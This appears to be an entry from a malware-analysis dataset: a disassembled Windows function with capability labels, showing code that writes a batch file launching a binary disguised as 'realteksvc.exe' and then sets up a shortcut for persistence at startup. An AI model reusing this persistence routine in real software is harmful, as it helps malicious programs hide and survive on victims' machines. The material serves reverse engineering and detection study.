Function at 0x40c870
Capabilities:
Create directory
Persist via lnk shortcut
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push 0xfffe
push 0x40
call dword [0x48c0d4]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40caf8
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x437a78
call dword [0x48c48c]
test eax, eax
jne 0x40caee
push str.11EDE9C8_A163_4586_BDFC_87AB286561F8
mov ecx, dword [ebp - 8]
push ecx
push 0x4334a0
push 0x7fff
mov edx, dword [ebp - 4]
push edx
call fcn.0042297a
add esp, 0x14
lea eax, [ebp - 0xc]
push eax
push 0x4806c0
call fcn.0040a3c0
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40cae4
push 0xbb8
push 0x40
call dword [0x48c0d4]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40cada
push str.23E911E1_587F_4414_914F_1808D53F68B1
push str.realteksvc.exe
mov ecx, dword [ebp - 0x10]
push ecx
push str._echo_off_ncmd__c_start______S_S___S
push 0xbb8
mov edx, dword [ebp - 0x14]
push edx
call fcn.004235eb
add esp, 0x18
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0x437a88
call dword [0x48c48c]
test eax, eax
jne 0x40cad0
push 0xfffe
push 0x40
call dword [0x48c0d4]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40cac6
push str.B52F511D_3934_4BA3_A64C_4624D57953BE
mov ecx, dword [ebp - 0x1c]
push ecx
push 0x4334d8
push 0x7fff
mov edx, dword [ebp - 0x20]
push edx
call fcn.0042297a
add esp, 0x14
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
je 0x40c9a3
call dword [0x48c134]
cmp eax, 0xb7
jne 0x40cabc
push 0xfffe
push 0x40
call dword [0x48c0d4]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40cabc
push str.A9B43079_8A14_43CC_988C_9A693715D7FE
push str.B52F511D_3934_4BA3_A64C_4624D57953BE
mov ecx, dword [ebp - 0x1c]
push ecx
push str._s_s_s.bat
push 0x7fff
mov edx, dword [ebp - 0x28]
push edx
call fcn.0042297a
add esp, 0x18
mov dword [ebp - 0x2c], 0xffffffff
push 0
push 0
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40cab2
mov dword [ebp - 0x30], 0
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x18]
jne 0x40caa2
mov eax, dword [ebp - 0x2c]
push eax
call dword [0x48c0cc]
mov dword [ebp - 0x2c], 0xffffffff
push 0x433500
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.0041c1f0
add esp, 0xc
test eax, eax
jne 0x40caa2
mov eax, dword [ebp - 0x28]
push eax
call dword [0x48c0e0]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x48c4a8]
mov edx, dword [ebp - 8]
push edx
call dword [0x48c4a8]
mov eax, dword [ebp - 4]
push eax
call dword [0x48c0e0]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x48c0e0]
mov edx, dword [ebp - 0x20]
push edx
call dword [0x48c0e0]
mov eax, 1
jmp 0x40cafa
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40cab2
mov eax, dword [ebp - 0x2c]
push eax
call dword [0x48c0cc]
mov ecx, dword [ebp - 0x28]
push ecx
call dword [0x48c0e0]
mov edx, dword [ebp - 0x20]
push edx
call dword [0x48c0e0]
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x48c4a8]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x48c0e0]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x48c0e0]
mov eax, dword [ebp - 8]
push eax
call dword [0x48c4a8]
mov ecx, dword [ebp - 4]
push ecx
call dword [0x48c0e0]
xor eax, eax
mov esp, ebp
pop ebp
ret